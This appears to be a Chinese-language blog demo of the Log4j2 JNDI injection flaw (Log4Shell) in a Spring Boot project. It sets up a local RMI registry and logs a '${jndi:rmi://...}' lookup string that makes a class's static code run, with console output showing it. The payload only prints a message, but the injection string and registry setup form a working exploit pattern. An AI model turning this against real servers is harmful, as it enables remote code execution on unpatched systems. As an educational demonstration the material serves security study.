log4j2 版本<= 2.15
使用的依赖核心代码4.0.0 pom org.springframework.boot spring-boot-starter-parent 2.5.2 len.hgy jndi-rmi-bug-demo 0.0.1-SNAPSHOT logger Demo project for Spring Boot 1.8 org.springframework.boot spring-boot-starter-web spring-boot-starter-logging org.springframework.boot org.springframework.boot spring-boot-starter-log4j2 org.projectlombok lombok 1.18.22 org.springframework.boot spring-boot-maven-plugin src/main/java ***.properties ***.yml ***.xml false
打印日志类:
@RestController
public class UserController {
private static final Logger LOG = LoggerFactory.getLogger(UserController.class);
private final UserService userService;
@Autowired
public UserController(UserService userService) {
this.userService = userService;
}
@RequestMapping(method = {RequestMethod.GET, RequestMethod.POST}, path = "/user/{id}")
public User getUserById(@PathVariable("id") String userId) {
LOG.info("log4j2 漏洞测试: {}", "${jndi:rmi://localhost:8081/knock}"); // 这个可以使用参数传进来
return userService.getUserById(userId);
}
}
jndi注册类
package bug.rmi;
public class Knock {
static {
System.out.println("ghost is knocking your door!");
}
}
package bug.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.NamingException;
import javax.naming.Reference;
public class RmiRegister {
// 注册jndi的rmi调用
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8081);
registry.bind("knock", new ReferenceWrapper(new Reference(null, "bug.rmi.Knock", null)));
System.out.println("jndi rmi started.");
}
}
bug演示和说明
启动项目:使用的是spring-boot
@SpringBootApplication
public class RmiStarter {
public static void main(String[] args) {
SpringApplication.run(RmiStarter.class, args);
}
}
启动jndi的rmi服务
public class RmiRegister {
// 注册jndi的rmi调用
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8081);
registry.bind("knock", new ReferenceWrapper(new Reference(null, "bug.rmi.Knock", null)));
System.out.println("jndi rmi started.");
}
}
调用接口,日志打印如下
ghost is knocking your door! ## 这个jndi的代码日志,也可以使用dos命令启动打印日志系统的系统程序
2021-12-28 23:51:58,751 http-nio-8080-exec-6 WARN Error looking up JNDI resource
... 告警日志被我省略了
log4j2 漏洞测试: ${jndi:rmi://localhost:8081/knock}
你的日志可以调用你系统的资源,可见这个bug有多么恐怖, 而且这个bug不能通过防火墙防止,因为它是通过正常的端口进入系统的



